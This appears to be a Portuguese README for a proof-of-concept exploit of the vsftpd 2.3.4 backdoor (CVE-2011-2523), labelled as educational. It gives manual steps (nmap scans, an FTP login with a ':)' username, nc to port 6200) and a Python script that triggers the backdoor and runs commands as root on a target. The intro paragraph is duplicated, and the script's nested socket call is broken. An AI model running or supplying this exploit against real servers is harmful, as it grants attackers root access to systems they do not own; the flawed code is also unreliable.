
vsftpd 2.3.4 (CVE-2011-2523) uma vulnerabilidade crítica que leva a uma Reverse Root Shell. Neste repositório, farei uma PoC de como explorá-la passo a passo, manualmente e automaticamente (Python), para fins educacionais.
vsftpd 2.3.4 (CVE-2011-2523) uma vulnerabilidade crítica que leva a um Root Shell. Neste repositório vou fazer um PoC de como explorá-la passo a passo, Manualmente e Automaticamente (Python), para fins educacionais.
Sobre o que é a vulnerabilidade?
Primeiramente, é um exploit do lado do serviço, então vamos explorá-lo remotamente. A ideia é que, quando você se conecta ao serviço FTP na porta padrão 21 usando um nome de usuário contendo :), isso faz o sistema abrir uma porta TCP 6200 com um Root Shell, de modo que qualquer um pode se conectar a ela e ter acesso root ao servidor alvo, o que é um desastre. Então vamos fazer isso na prática, passo a passo. Vou explicar manualmente primeiro para ter a ideia completa e depois há um script Python para explorá-la automaticamente.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
A porta 6200 está aberta agora, então esta é a nossa backdoor
nc -nv Target_IP 6200
Finalmente, temos um Root Shell na máquina alvo.

Depois de fazermos manualmente, sabemos os passos do exploit:
:) para acionar a backdoor.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()